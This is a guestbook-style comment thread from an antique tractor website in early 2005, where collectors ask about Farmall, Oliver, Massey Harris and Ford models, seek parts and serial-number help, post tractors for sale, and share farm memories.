Neville Thompson wrote on Saturday, April 23, 2005 (PDT):My brother and I joint own a Sampson Seivegrip, 1916. It was fully restored 20 years ago and runs like clockwork. We show it at various farm shows in North Canterbury, NZ. This tractor is the other one mentioned by Dave, above.
Neville Thompson wrote on Saturday, April 23, 2005 (PDT):My brother and I joint own a Sampson Seivegrip, 1916. It was fully restored 20 years ago and runs like clockwork. We show it at various farm shows in North Canterbury, NZ.
PAUL WEISMAN wrote on Thursday, April 21, 2005 (PDT):I HAVE A 40'S MODEL TD14 THAT I HAVE REBUILT, I AM IN THE LAST STAGE OF FINISHING THE ENGINE. I NEED TO KNOW THE TORQUE SPEC FOR THE ROCKER ASSEMBLY. I HAVE THREE REPAIR MANUELS ON THE TD14 BUT NONE OF THEM HAVE THE SPEC FOR THE ROCKER ARM. THERE ARE FIVE 1/2 INCH STUD BOLTS THAT HOLD THE ROCKER ASSEMBLY IN PLACE. COULD SOMEONE LET ME KNOW WHERE I CAN FINE THIS INFORMATION. OR SOMEONE THAT KNOWS THE TORQUE SETTING. PLEASE SEND ME AN E-MAIL. pjweisman at yahoo.com, THANKS.
Ben Augustine wrote on Tuesday, April 19, 2005 (PDT):we have two 1066's a 966, 756 and a 5288 and they are all good tractors but one thing we have decided is that if ih had made tractors like the 5288 all along they might still be around. There was a gap in quailty between the 756 and the 5288. Our 756 has about 20000 hours on it and I just rebuilt it this year our 5288 has over 10000 on it and an engine overhaul 1000 Hours ago both excellent tractors
Dave wrote on Tuesday, April 19, 2005 (PDT):Hi, I have the service manual for a fordson major diesel, petrol, or vaporizing oil tractor. Is anyone interested in me copying this to cd for a small price + postage and packing?
Milton wrote on Monday, April 18, 2005 (PDT):I am converting my 2n tractor to 12 volt and would like to know if anyone has a wiring diagram....
Lena Knighten wrote on Monday, April 18, 2005 (PDT):I recently went to a public sale and bought the Pony tractor that my father bought new years and years ago. I used it to plow my garden and it worked great. It is missing a side panel and one headlight is gone, Otherwise it is in good shape. Oh almost forgot. I also have the original title (yes I said title). It is still in my fathers name. Lena Knighten Inwood, Wv, USA
Ed in CA wrote on Sunday, April 17, 2005 (PDT):Bob, the difference between a Farmall B and BN is this; The BN has a narrow back end, and the B has a wide back end. The BN has shorter rear axle housings than the B. I own a 1940 B and a 1941 BN. My dad owns a 1948 Super A aswell.
Dave Blair wrote on Sunday, April 17, 2005 (PDT):I'm looking for a photo or description of a l946 Cockshutt muffler system. I'm restoring a l946 Cockshutt 70 RC Gas 6 Cyl. Thanks
Dave Blair wrote on Sunday, April 17, 2005 (PDT):I'm looking for a photo or description of a l946 Cockshutt muffler system. Thanks
Ralph Imes, jr. wrote on Saturday, April 16, 2005 (PDT):My first tractor was a l929 Farmall regular. Mine was painted red (no grey paint anywhere on it). I was wondering when they went from painting them grey to painting them red?
Jeremy Steinkamp wrote on Friday, April 15, 2005 (PDT):I'am planning on buying a BF Avery Model A wide front end.I need some parts for it.Paint codes,decals,Any parts available and where i can get them at.THANKS!!! PHONE 812-2160-2013 Leave message.
TOM KEENER wrote on Friday, April 15, 2005 (PDT):WOULD LIKE TO FIND .O2O UNDER MAIN & ROD BEARINGS FOR A W9 GAS ENGINE. ALSO TO MARK SMART ; I HAVE TURNED DOWN WD9 SLEEVES AND MODIFIED THE PISTONS TO FIT A GAS ENGINE.
RAY STIKELEATHER wrote on Thursday, April 14, 2005 (PDT): looking for 1953 super m also b farmall in good cond. tks
Ed Kratt wrote on Tuesday, April 12, 2005 (PDT):I am restoring a nice MH 81, I am looking for the innards for the headlights also the little light over the guages, if anyone has these I would appreciate hearing from them. Also have access to some MH junkers various years and models, I would be willing to help anyone looking for parts. Thanks, Ed
Kevin M. wrote on Monday, April 11, 2005 (PDT):Looking for Massey Harris 44 decals with High Altitude decal with the set. Kevin at Amber1 at Egix.net
alan king wrote on Monday, April 11, 2005 (PDT):i have a completely restored allis g serial #544. i have $3000.00 in recipts for parts alone. any offers above and beyond that? no hydrolics and no equipment but a very very nice machine. everything is basically new. never been driven other than to load. rolled it into my shed to unload. also have a 48 model that needs restoration. have avery nice moldboard plow for sale also. 501-680-4735 or email. serious buyers only please. thanks alan king
John wrote on Sunday, April 10, 2005 (PDT):Hi,Just got what I think may be a OC-4 in a trade, never owned a Ollie before but think i'm gonna keep this 1 to restore, neat lookin Lil Tractor, how does 1 tell the diff, between a OC-3 and a OC-4 ? also in need of a starter motor for it, any info would gladly be appreciated, Thank's, John
jerry miles wrote on Sunday, April 10, 2005 (PDT):I HAve a 8n with out a motor and also have a 9ohp flat head v8 and would like any info about adapters that i would need to make this work. also have other 8n and ford tractors .thank you
Garry Rusnak wrote on Sunday, April 10, 2005 (PDT):I am looking for a magneto cover for A 1928 OILPULL 3520 typeM. Also a primer pump for the same model
Fred Hellyer wrote on Sunday, April 10, 2005 (PDT):I have a 1945 Model A Farmall. I want to restore it. It needs a front grill. Where do I start.
dee doub wrote on Saturday, April 09, 2005 (PDT):My uncle is fixing to sell his Oliver 70 row corp at auction. Still runs fine. Any idea how much he should expect to receive?Thanks
Jim Broughton wrote on Saturday, April 09, 2005 (PDT):Larry P. The serial number is on a plate located on the steering box just at the end of the steering column. Good luck with 'er!! Jim
Frank Attkisson wrote on Saturday, April 09, 2005 (PDT): I have a 1950 8n that was rebuilt last wummer. I have had to replace the bendix 5 or 6 times.......practically every month since then. Does anyone have an idea what I should be looking at? I read one suggestion to make sure there is no grease, dirt in the starter housing....anything else?
Andy Dubourt wrote on Tuesday, April 05, 2005 (PDT):I have a 44 Massey diesel. It was running when it was parked, but now I can't get any fuel out of the injector pump. It just wants to flow right through the head of the pump and back to the tank through the return. Someone told me that there are plungers sticking. Is this so? Does anyone know if it is safe to take the top of the pump off to look inside? Will this solve anything? Can I loosen the plungers myself? Any info would be apprieciated. Anyone? E-mail me if you'd like. Thank you. And also if you know anything about the power of these tractors when they are running well. What modern tractor could they be compared to in horsepower? 3010 John Deere? Not quite maybe hey?
Luke Bracken wrote on Tuesday, April 05, 2005 (PDT):In august 2004 i bought a farmall AV at an auction for $1200. It runs great and was in good condition. I am a 13 year old boy and since then I have restored it to perfect condition all on my own. I love this tractor and am happy because I paid for every expense of it.
Larry Pourciau wrote on Monday, April 04, 2005 (PDT):I just bought what I was told is a 1949 Farmall Cub ($1950). Where is the serial number located on it or the ID plate?
j. cooper wrote on Monday, April 04, 2005 (PDT):I have a 1949 8-n ford funk 6 conversion,tractor starts and runs,good hydraulics and tires. sheet metal needs cosmetic repairs(rusty) asking $2750.00 Houston Tx. (281)744-4935 needs carb. and exhaust manifold.
Sheridan wrote on Sunday, April 03, 2005 (PDT):My 51 Farmall C needs a rad cap as the rubber is hard as a rock . Someone told me the original cap had the temperature guage in the cap . Can anyone tell if this is so ,and if so where I might get one , Thanks Sheridan
james newman wrote on Friday, April 01, 2005 (PST):how do i find out what year it is? does anybody know
Larry Brown wrote on Wednesday, March 30, 2005 (PST):Does anyone know how much a 1944 Farmall A Weighs?
mary orander wrote on Sunday, March 27, 2005 (PST):I HAVE A COMPLETE G-MODEL TRACTOR FOR SALE THAT BELONGED TO MY FATHER AND HAS BEEN IN MY FAMILY SINCE THE EARLY 50'S.WE ALSO HAVE THE ORIGINAL MANUAL WITH IT AND,ACCESSORIES.THE MOTOR HAS BEEN COMPLETELY REBUILT AND WE HAVE ALL THE RECEIPTS TO GO WITH IT.PLEASE CONTACT US BEFORE WE PUT IT ON EBAY IF YOU ARE INTERESTED IN PURCHASING. THANK YOU ,MARY
Gary wrote on Saturday, March 26, 2005 (PST):I'm starting a rebuild of my F20 which has been sitting with the head off for 20 years or so. Where can I post a picture history of the rebuild?
Jamie Bishop wrote on Saturday, March 26, 2005 (PST):To all of you wanting and wishing for one of the biggest Deeres.Dont give up.I have been collecting for about five years.And always wanted one as of yesterday I am a proud owner of a John Deere R. The old tractor had been sating for about 6 years. When I went to look at it. I was sure that it would be stuck. But with a little tinkering the pony came to life then the big motor puffed a little smoke then it started.It sure was a prould moment. Then the hand shake and the deal was made.P.S Dont give up
bob spung wrote on Friday, March 25, 2005 (PST):i have another question. can an original farmall b engine be replaced with a super a engine so you can have hydraulics? thanks
bob spung wrote on Friday, March 25, 2005 (PST):i also would like to know the difference between a farmall b & bn. i've seen the question several times, but never saw the answers. thanks
dave k wrote on Friday, March 25, 2005 (PST):I have a 1941 farmall A that has a problem with the electrical. Does anyone have a wiring diagram for this. It has one light on the front right and is a four cylinder engine with a coil and generator.any help would be appreciated
Matt wrote on Thursday, March 24, 2005 (PST):I have a 1955 Massey Harris 44 Special wide front with a front loader for sale. Please contact me for more info. Thanks, Matt 612-490-5696
Josh Rooks wrote on Wednesday, March 23, 2005 (PST):I just purchased a 1948 farmal cub and was wondering if any one knows the right paint code for this machine.I work in a local body shop and no one can come up with the code.Its almost ready for paint.Please help!!!!Josh
Bruce Busch wrote on Wednesday, March 23, 2005 (PST):My friend has a case like the one in the shed. Ser. # VAIW 4926327. It still runs. It is located in San Jose Ca. Until now we did not know of any others. Bruce 408-639-2050
jake wrote on Wednesday, March 23, 2005 (PST):I need some help please email me I have a ford 8n tractor going up for sale what cost should be payed or expected great shape but wont start.
Jay wrote on Wednesday, March 23, 2005 (PST):I would like to know what keeps the wheels from spinning inside the tracks. Is it the tension of the belts or are there cleats on the underside of the plates?
Jesse Austin wrote on Tuesday, March 22, 2005 (PST):I RECENTLY PURCHASED AN OLD FARMALL AND I CANT FIGURE OUT THE EXACT YEAR AND I HAVE WHAT I BELEIVE IS THE SERIAL NUMBER (M 215644 G) IT HAS A NARROW FRONT END AND SIDE MOUNTED SEAT. CAN ANYONE HELP ME OUT WITH ANY INFO?? PLEASE EMAIL ME WITH ANY IDEAS, THANK YOU
Kent wrote on Tuesday, March 22, 2005 (PST):I recentley bought a fairly large open end wrench with Lindman TE 789 in raised letters and numbers.Size is 1-3/8" and 1-1/8" x 11-1/4" length. Does someone have a Lindeman owner-operator manual that may list tools that came with a or were available for the Lindeman? If so, could I buy a photo copy of the page of tools ?
Kent wrote on Tuesday, March 22, 2005 (PST):I recentley bought a fairly large open end wrench with Lindman TE 789 in raised letters and numbers.Size is 1-3/8" and 1-1/8" x 11-1/4" length. Does someone have a Lindeman owner-operator manual that may list tools that came with a or were available for the Lindeman? If so, could I buy a photo copy of the page of tools ?
Kent wrote on Tuesday, March 22, 2005 (PST):I recentley bought a fairly large open end wrench with Lindman TE 789 in raised letters and numbers.Size is 1-3/8" and 1-1/8" x 11-1/4" length. Does someone have a Lindeman owner-operator manual that may list tools that came with a or were available for the Lindeman? If so, could I buy a photo copy of the page of tools ?
Rick Steward wrote on Monday, March 21, 2005 (PST):Looking for a 1950 Allis Chalmers G. Any ideas? Thanks, Rick
Jim Williamson wrote on Saturday, March 19, 2005 (PST):About 1950 we had a Ferguson model 20-85 and it had a loader LUO with manure forks it had arms that lvered on brackets where fenders mount. It had a bracket that fit on rear 3 point hitch arms with a pintle hook. The manure spreader was Ferguson too and had a pintle hook hole. The loader was quite light but very, very efficient. could unhook by lowering hydraulics and just drive ahead , load in a couple of minutes and backup to spreaderand hook up again without leaving the seat. You could take the loader off in minutes just leaving the main brackets.
R. Dobbins wrote on Friday, March 18, 2005 (PST):I am looking for a Farmall cub,early model, in good shape.Would prefer it to be not too far from the eastern panhandle of West Virginia.
chris howe wrote on Friday, March 18, 2005 (PST):i just bought a AC model "B". I am looking for a sickle bar mower for it. if you know where i could buy one, please contact me at theshagg86 at adelphia.net
Gene from Wis. wrote on Thursday, March 17, 2005 (PST):I just received a small metal tag with a slot on top which I think had a leather strap on it for ataching to you belt. It has "Rumely DoAll Tractor", with a picture of a tractor on the front and on the back it says,"Advance Rumely Threashing Co. Inc., La Porte, Indiana, Power Farming Machinery Specialists". Anyone one know about what year this could be from or where it came from? Thank you.
Bob wrote on Thursday, March 17, 2005 (PST):My Buddy has a GP 4wd. He says its all there and it ran when it was parked. We're going to get it unburied from his storage area and see if we can get it going. Any U.S. Citizen... who's an honest person (No scammers or bull-shooters) out there interested in making an offer for it?
Mike wrote on Tuesday, March 15, 2005 (PST):I have a Ford Funk 6 cylinder tractor on the ebay auction that is ending Monday 3/21/05 for those interested. Just go to www.ebay.com and type in the listing number 7500194224 in the search box and hit enter. Or type in " FUNK 7HNN "
Jim Phillips wrote on Tuesday, March 15, 2005 (PST):I recently purchased a 1960 vintage cat, S/N 5U4989. I am looking for an owner's manual. It starts and runs great.
Darrell Sinclair wrote on Monday, March 14, 2005 (PST):I have what I beleive to be a john deere model l engine and front cowling (sheet metal) for sale.
Jim wrote on Sunday, March 13, 2005 (PST):ford 800 hydraulics, needs some adjustments made, comes up when it decides to and pto live power clutch needs adjusted, will not engage unless you shut off the tractor. Can any one help ? any free manuals i can get and down load on the net ? Thank you Jim..
RICHARD FRERICKS wrote on Saturday, March 12, 2005 (PST): I HAVE A 550 OLIVER GAS WITH THE OWNERS MANUAL FOR IT.IT WAS BOUGHT NEW IN NEBASKA WANTING TO SELL IT MY PHONE NUMBER IS 605 472 1013 LEAVE A MESSAGE THANKS RICHARD
Charles wrote on Saturday, March 12, 2005 (PST):Need help!! I have just purchased what I have been told is a 1923 McCormmick Deering Farm-all. I can find no serial number plate, but the cast number on the clutch housing is 1479D, and I found on the front of engine a number 1565 DA, on the rail in front of the radiator I found the number 63776. Any help with this would be appreciated. I am also looking for steel wheels for the front, It has steel on the rear and has been modified by cutting the steel wheels off and welding trailer rims in their place.Motor is froze but everything else is there.The pto engages in the forward position if this helps in finding out the correct year.Any photo's and places for manuals,parts,and decals would behelpful as this is my first attemp at restoration of farm equipment.
Rob wrote on Saturday, March 12, 2005 (PST):I love old tractors! Does any one know the value of an OC4?
Steve Bauer wrote on Thursday, March 10, 2005 (PST):I am in-process of buying a 550 Oliver (gas). I was told it is late 60's vintage. It has a heavy duty front loader and rear PTO, all original and in good working order. If anyone can help me determine the exact year and HP, I would greatly appreciate it. I don't think it needs much work right now but would like to know where to get replacement parts if/when needed.
Andy wrote on Wednesday, March 09, 2005 (PST):What's it worth? Helping friend determine value of his Allis Chalmers "WKO" ag crawler. electric start, starts on gas, switch to diesel. Would appreciate any comments, referrals, located in Central California. Thanks!
jason wrote on Wednesday, March 09, 2005 (PST):i have a couple mh 44 and lots of parts they are real nice old iron
a wrote on Monday, March 07, 2005 (PST):how many hand plows going on?
mark m k wrote on Monday, March 07, 2005 (PST): My bother Ivan pulls a 1066 16000 pound class and kick ass out of junky JD.s plus his 1566 some wont let him pull cous there.s no compatoin for it so the JD.S have a chance and the one.s that do he go.s against are frontwheel asis and still eat them up I myself pull a nice IH clean 1466 04 was my first year of pulling with it but my brother still outpull me his 1066 hp 300 plus out of the field my 1466 has 240hp and both love eating them Junky J.D.S up for breckfest so you JD IH WONTA BEE.S see ya at the sled and good luck! in 05
mark m k wrote on Monday, March 07, 2005 (PST): My bother Ivan pulls a 1066 16000 pound class and kick ass out of junky JD.s plus his 1566 some wont let him pull cous there.s no compatoin for it so the JD.S have a chance and the one.s that do he go.s against are frontwheel asis and still eat them up I myself pull a nice IH clean 1466 04 was my first year of pulling with it but my brother still outpull me his 1066 hp 300 plus out of the field my 1466 has 240hp and both love eating them Junky J.D.S up for breckfest so you JD IH WONTA BEE.S see ya at the sled and good luck! in 05
Jerry Herger wrote on Saturday, March 05, 2005 (PST): I have an original 1958 Oliver 550 and it is a great tractor. We have the Model 57 mid mount sickle that I need parts for. Anyone out there have a junker? Our 550 has the regular red rear rims(non power adjust) and it appears that only early 58's had these as a hold over from the super 55's. It also has the the 144 cube engine which is the same as the super 55's. About 35 HP. It will never be sold since it was my Dad's. We don't use it much but it was fun growing up with it. It also came with Ollie double plows and harrow and also an ollie hay wagon. AGCO would make a fortune if they started making them again. Did I hear Ford is doing a limited run of their old N-series? By the way anyone out there have the red rear rims on their 58? I am trying to determine how many had them. E-mail me please.
greg wrote on Saturday, March 05, 2005 (PST):Hi i have a 300 utility tractor and the pto wont stop turning there is a handle on the right side but it doesent seem to work does anyone know about this or maybe send me a picture of the inside of pto or know where i can get help Thanks from niagara falls ont
Bobby Allbright wrote on Thursday, March 03, 2005 (PST): I just bought two Oliver 60 row crops. One is drawbar type the other has three point hitch. I am looking for a front grill, radiator and grill for each side of the engine. I would appreciate.
Shaggy wrote on Thursday, March 03, 2005 (PST):I have a Ford Flathead 6 cyl, that runs on propane. Looks rough but runs very well, very powerful. Looks pretty much like the picture at the top.
marybelle cranston wrote on Thursday, March 03, 2005 (PST):I am reconstructing a ford 800 series, 850 model 1956 and can not find a fender, It is the wider roll not the clam shell. Don't seem to be able to find one. I am going to Florida on march 11 so am hoping I may find one while I am away. Thanks
rita nesler wrote on Thursday, March 03, 2005 (PST):would like to but a 44mh wide front tractor
didier dauphy wrote on Thursday, March 03, 2005 (PST):je recherche des docs sur l'OLIVER 70 row crop salutations didier
Jerry Maring wrote on Wednesday, March 02, 2005 (PST):I am selling my Dad's 444 MH tractor. It is in good condition with new tires, battery. It is also equipped with a loader. It has always been stored inside and is used in the winter for snow removal. manual is available. I am taking offers here in Illinois
carroll toquam wrote on Tuesday, March 01, 2005 (PST):i have a cockshutt golden eagle for sale , the engine has been completly rebuilt as well as the injector pump. the sheet metal is good . the price is right
Edward Semmelrock wrote on Tuesday, March 01, 2005 (PST):Looking for a 1952 farmall cub. New England Area
les mack wrote on Monday, February 28, 2005 (PST):does anyone have the number for the grey paint that farmall used on all the early tractors? also looking for a pair of front spoke wheels for a '36 f-20. thanks
Ted Osborne wrote on Monday, February 28, 2005 (PST):I have two rear tires and rims ,size 11x28 that I took off the one I have.Mine is a 1951 vao that looks almost new now .New tires all round ,3 point eagle hitch ,,live pto.Will sell the old rear rims if anyone needs them. Make offer! thanks, Ted O.
josh gill wrote on Monday, February 28, 2005 (PST):MY M HAS A HEAVY LOADER AND ITS REAL HARD ON THE FRONT AXLE.
tommy wrote on Monday, February 28, 2005 (PST):our m is an 1940. but it says m-x1. whatdoes this mean.
Jim Broughton wrote on Sunday, February 27, 2005 (PST): Billy; Your Cub is a mid-year or thereabouts 1948 Model, the 1949 models start at 57831. Have fun with it, they are great little tractors !! Jim
BILLY NANCE wrote on Sunday, February 27, 2005 (PST):i have just bought a FCUB---SERIAL NO.31507 can anyone tell me what year it is
Billy Reynolds wrote on Sunday, February 27, 2005 (PST):I'm looking for a good used Farmall B preferably a 1940 to restore I'm in Ca. but will travel for right tractor. Please send pictures or e-mail information to damit2hel at yahoo.com or call 209-368-3275
Will Hill wrote on Sunday, February 27, 2005 (PST):This is to Larry Elberwein, the arm with pedal are for lifting implements, and gear box is Power take off(PTO), to run Implements?I Bought a 1942RC60 for $2000. i hope this helps
don sisco wrote on Wednesday, February 23, 2005 (PST):my friend had a gas I9 with heavy rear hubs and duals on rear . it was used by Bucyrus Erie crane mfg in Evansville In to pull rail cars around the plant whe a locomotive was not available , it was a work horse . Don
Patrick Coxall wrote on Wednesday, February 23, 2005 (PST):Have just paid 830uros for a cub with double reversable plough and underslung cutterbar. I think a good price for a French Built American good baby Tractor. I have and Allis B and A Fordson E27b. Looking forward in my retirement to bring these three back to original condition, any local admirers in Finistre France? Contact me, thanks
Brad Perkins wrote on Tuesday, February 22, 2005 (PST):I am looking for a picture of the carburetor linkage for the Cockshutt 30. I need to see the linkage on both the front and back so I tell exactly what the governor hook up should be like. Can anybody email me a photo or scan a page from a manual and email that. I have shop manual but it does not show me the connection for the Gov. linkage at the throttle shaft arm (which I am missing). Please
Fuck wrote on Tuesday, February 22, 2005 (PST):Fuck tractors!
paul crowell wrote on Monday, February 21, 2005 (PST):i have a g how do tell what year model and what model.
Dave wrote on Monday, February 21, 2005 (PST):I used a Allis Charmlers tractor like this when I was a teenager. But they dont mention the hydrostatic type drive system which the diesel tractor that I used had
Charlie wrote on Sunday, February 20, 2005 (PST):need right rear alex for 44 rowcrop. regards to all.
Cathy Drouin wrote on Saturday, February 19, 2005 (PST):Is paying $3500 a foolish price to pay for a running 1949 mesh front Farmall? Not all parts are original. I will not be working it,just using it for hayrides with the grandkids and want it because I think it is a beautiful peice of American equipment. Eventually I hope to restore it to it's original beauty.
Mike Stephens wrote on Friday, February 18, 2005 (PST):My dad bought our Oliver 66 brand new in 1954 when I was six years old, the last tractor sold by that particular dealership in Parkersburg, WV. It is equiped with live PTO and hydraulectric hydraulic system with the controls on the steering column, a radical improvement over my grandad's '39 Oliver 70 with no PTO or hydraulics and my uncle's '48 model 70 with direct PTO and gear driven lift. The 66 with a Cosh side mounted sickle bar mower and New Holland 66 hayliner baler mowed and baled hay on nearly 200 combined acres for at least ten years, before my uncle and grandad upgraded to 77s and later to a 1250 and then a 1465. I still use the 66 equiped with a six foot finish mower to mow my acre of lawn and with a six foot three point hitch blade to plow snow and keep the half mile of housing development road graded. It also rakes and tedds most of our 15 or so acres of hay each summer. It's been overhauled twice years ago, but in recent years with the advent of unleaded fuel and decidedly lighter workload, it purs like kitten and runs flawlessly. I would be interested in any source of parts, though I'm surprised by the number of parts available through NAPA and Parts Plus or Bumper-to-bumper auto supply houses.
Mike Stephens wrote on Friday, February 18, 2005 (PST):My dad bought our Oliver 66 brand new in 1954 when I was six years old, the last tractor sold by that particular dealership in Parkersburg, WV. It is equiped with live PTO and hydraulectric hydraulic system with the controls on the steering column, a radical improvement over my grandad's '39 Oliver 70 with no PTO or hydraulics and my uncle's '48 model 70 with direct PTO and gear driven lift. The 66 with a Cosh side mounted sickle bar mower and New Holland 66 hayliner baler mowed and baled hay on nearly 200 combined acres for at least ten years, before my uncle and grandad upgraded to 77s and later to a 1250 and then a 1465. I still use the 66 equiped with a six foot finish mower to mow my acre of lawn and with a six foot three point hitch blade to plow snow and keep the half mile of housing development road graded. It also rakes and tedds most of our 15 or so acres of hay each summer. It's been overhauled twice years ago, but in recent years with the advent of unleaded fuel and decidedly lighter workload, it purs like kitten and runs flawlessly. I would be interested in any source of parts, though I'm surprised by the number of parts available through NAPA and Parts Plus or Bumper-to-bumper auto supply houses.
Robert wrote on Thursday, February 17, 2005 (PST):you can also find serial numbers on this site www.ytmag.com/cgi-bin/snlookup.cgi?mf=AC&md=WC
Gerry Bord wrote on Thursday, February 17, 2005 (PST):I own 1948 8n that my dad bought new. It has a over-under trans. which is stuck. Any ideas? Thanks.
chummy wrote on Tuesday, February 15, 2005 (PST):I have a farmall M, i use it to run agrain arger for about 4,000 b of corn in a bin last fall. It worked great!!!! I'm looking for a older john deere for my dad, to be a friend to my M.
K Plant wrote on Monday, February 14, 2005 (PST):we have a 1951 Massey 44 for slae.. check for sale ads.. restored pulling tractor has many trophies
Mike wrote on Monday, February 14, 2005 (PST):I have a 1956 DI CASE with loader for sale if anyone is interested. Foot clutch, hydraulic bucket, and rear tire chains. Runs good.
Edward Semmelrock wrote on Monday, February 14, 2005 (PST):Looking for a John Deere L or LA,any condition.
Jim Broughton wrote on Monday, February 14, 2005 (PST):To; Jack Welch Hey, that Cub with the quick attach is a dandy..I actually like the quick-tach implement set-up better than 3-point !! Downside....it's getting harder to find those IH implements to fit a Cub, so hang on to'em and if you can find a quick-tach plow...try it , they are really great !! Lotsa luck !! Jim
Roy Wilson wrote on Monday, February 14, 2005 (PST):I have just purchased a Super Dexta but I have been unable to find the serial number to determine the exact age for parts and such. I read that the serial number is listed vertically on or around the flange... can someone be a little more specific for the more intellectually challenged person. Thanks, Roy
Floyd Darnell wrote on Monday, February 14, 2005 (PST):I have a friend who lives on a place and there is a 1907?? Case Steam Tractor. Large metal wheels and asteam (fire)box. It actually runs, however, I cannot find a picture on the case site of a 1907 or even a 1923 steam tractor. If anyone can help send me a pic or a site. TKS!!!!
Ronald Maxwell wrote on Sunday, February 13, 2005 (PST):looking for information about Co-op-John deere Model L or LA
Larry Eberwein wrote on Sunday, February 13, 2005 (PST):I have a 1940,Oliver trihal.It has fenders with a headlight on each fender and one on the back. I would like to know what the holes are that go through the frame. I would also like to know an approximate value. It runs! There are two arms (left and right) that turn when you push a pedal. What are these arms for? Behind the seat by the rear axel there is a small gear box. You push it forward, the shaft in back turns. What is that for? I aquired this tractor from my deceased Uncle. I would appreciate any information!
Jim Broughton wrote on Wednesday, February 09, 2005 (PST):To Doreena; Look on the steering box, up front at the end of the steerin wheel rod and there should be a serial number plate on there..Give me the serial number and I can determine what year Cub you have. I'm in Oregon and we have a lot of tractor parts dealers and suppliers that can help you. Y ou might start by purchasing $20.00 U.S. a repair manual from Intertec, P.O.Box 12901, Overland Park, Kansas, 66282-2901...operator's manual can be purchased from "Binder Books" in Tigard,Oregon Ph# (503) 684-2024...they also have some IH implement books as well. Good luck with your Cub Jim
Jim Broughton wrote on Wednesday, February 09, 2005 (PST):To; Marc Wilson..If it has been sitting in a field 6 or 7 years, it's probably frozen ! If the sheet metal is "fair" and the tires aren't too badly cracked, offer him $400.00 to 450.00 max...I recently looked at a "140" IH with good tires, sitting out with NO Muffler or exhaust cover...frozen up engine...got it for $300.00, so that should give you an idea ...cause you are gonna have to totally rebuild it. Lotsa luck....Jim
Ted Turnbull wrote on Wednesday, February 09, 2005 (PST):My grandfather and uncle farmed a 500 acre (300 under plow) with a farmall M which was purchased after the massey harris 81 which was thier first tractor after horses. I spent many hours on that tractor pulling a plow, a bull disc, a hay morer, and various other implements. I was to young to be let loose with the bayler,(spent my time on the wagon) or the combine. It was a great tractor but I would not want to have one on a hilly farm. I nearly tipped it over on a side hill pulling the bull disc. I was turning uphill and hit the left brake which caused the wheel to come up very quickly. Taught me a valuable lesson. It did a lot of work on that farm. My uncle would put new sleeves in nearly every winter while it was not needed. We had another 2 plow MH for intermediate work. Can't remember the model #. Farming taught me a lot of lessons that I carried with me the rest of my life. Our sociaty would be in a lot better shape if we were still had an agrarian lifestyle. Just like everything else the income kept going down while the expenses kept going up and most farmers were not college educated and didn't do well with the new ways of making money such as the stock market ect. They did very well at growing our food, so well it kept pushing prices downward which only hurt them in the end. While that is my story. Hope you enjoy it Ted
Ron wrote on Tuesday, February 08, 2005 (PST):I have a 1924 Fordson total restoration, mint condition for sale. Over $11,000.00 spent. Looking for buyer. Ron pilot1_rb at yahoo.com
DOREENA RHODES wrote on Tuesday, February 08, 2005 (PST): I HAVE A VERY OLD FARMALL I BELEIVE AN FCUB NEED HELP TO FIX ANYONE CAN HELP LIVE IN B.C. CANADA
jerrod sisco wrote on Monday, February 07, 2005 (PST):Do you think it is wrong to do that to a fine peice of machinery.
jerrod sisco wrote on Monday, February 07, 2005 (PST):i have 3 massey harris 44s. They are all 1951s . I pull with two of them . one of them is stroked and bored plained head one quarter of an inch it has 125 horse power it also has 18.4.38 tires on it. the other one has 350 chevy pistons in it it head has been plained also it has 504 interantional valves in it.it has a mitsubushi turbo on it. The last one i bought i use for farm work.they are all painted and in good condition.
Charles McNelly wrote on Sunday, February 06, 2005 (PST):looking for good tinwork for my 47 B. My grill and hood are full of holes, Texas area.
Ted Turnbull wrote on Sunday, February 06, 2005 (PST):The MH 81 was a great tractor. I cannot remember what color the engine was. I thought it was red but I was only 10 at the time. It was finally replaced by our farmall M but still did all the gofer jobs on the farm.
Avery Allred wrote on Sunday, February 06, 2005 (PST):Anyone interested in purchasing 100hp V8 Conversion Kits. Please Contact me. Thanks, Avery www.hotmower.com
Bill Fitch wrote on Saturday, February 05, 2005 (PST):I own a 1950 8N, would like to know if there is a converision from a 4cyl to a v8 if so email me Thanks
Dick Diederich wrote on Friday, February 04, 2005 (PST):I have as farmall c like the one in the picture. Iv'e had it for 18 years now and I keep it at my cottage where I use it for cutting wood and plowing snow in the winter. I put a cab on it about a year after I had it. It sure is nice and warm in the winter.
Dick Diederich wrote on Friday, February 04, 2005 (PST):I have as farmall c like the one in the picture. Iv'e had it for 18 years now and I keep it at my cottage where I use it for cutting wood and plowing snow in the winter. I put a cab on it about a year after I had it. It sure is nice and warm in the winter.
D. Spetz wrote on Friday, February 04, 2005 (PST):Could anyone tell me, by any chance, what years the model 101 was in production? I am trying very hard to "date" some old photographs. Thanks for any help. D.
Hugh Leonhardt wrote on Thursday, February 03, 2005 (PST):i'm trying to find out how old my m is.the serial # is FBK 11294. thanks for in info anyone might have
Justin Wheeler wrote on Thursday, February 03, 2005 (PST):I am curently restoring a 1940 CASE DI for a high school ag project. I got it from an old salvage yard that was closed down due to flooding and its location on the river. I paid $100 dollars for it, but what really cought my attention was it's color. It was millitary green with a white star on the hood. It also had some faded numbers. all there.
Rocco wrote on Thursday, February 03, 2005 (PST):I have both a M & H,( years not known) both need TLC! I am looking to sell them both for $2,500.( if you will take both)any questions please call me 815-693-6874
Efrem Parler wrote on Wednesday, February 02, 2005 (PST):I have a J.D model MT that I purchased about a year ago . I am interested in buying the cultivators or planter for it. If anyone has them and would like to sell them call(803)-531-2006 or Email
Ronald Claude wrote on Wednesday, February 02, 2005 (PST):I grew up on the farm in North Central Illinois. We had two Minnies, a Z and a UT. I remember driving the Z to pull our Ann Arbor and later our Case balers when I was about 8 years old. Tells you how easy they were to operate. Do any of you remember having to get the Z rolling in 4th, pull the clutch and slip it into 5th for road use? Great tractors, and really great memories.
Marc Wilson wrote on Sunday, January 30, 2005 (PST):I know of a 1953 Farmall Cub that has been setting in a field for 6 or 7 years, sense it has run last. The owner wants 1000 dollars for it. It looks very rough and rusted up, apears to need alot of work to restore. Could anyone tell me what it would be worth as is. Thanks for the help
Earle Johnson wrote on Saturday, January 29, 2005 (PST):I am looking for a pair of half-tracks & idler wheels for a Ford 600 or David Brown 1210. If anyone has a set for sale in Canada ( preferably Ont. ), please let me know.
Tom & Peggy wrote on Saturday, January 29, 2005 (PST):Have enjoyed reading The Farmall Shed for the last few hours. We have 2 Cubs both are 48's and a few implements. One is a 174 runner planter. If you know something about it would like to hear from you. We have found manuals at www.cleancomputes.com/Cub. For some years on models search farmall tractors, go to Brain's Farmall Tractor Page.
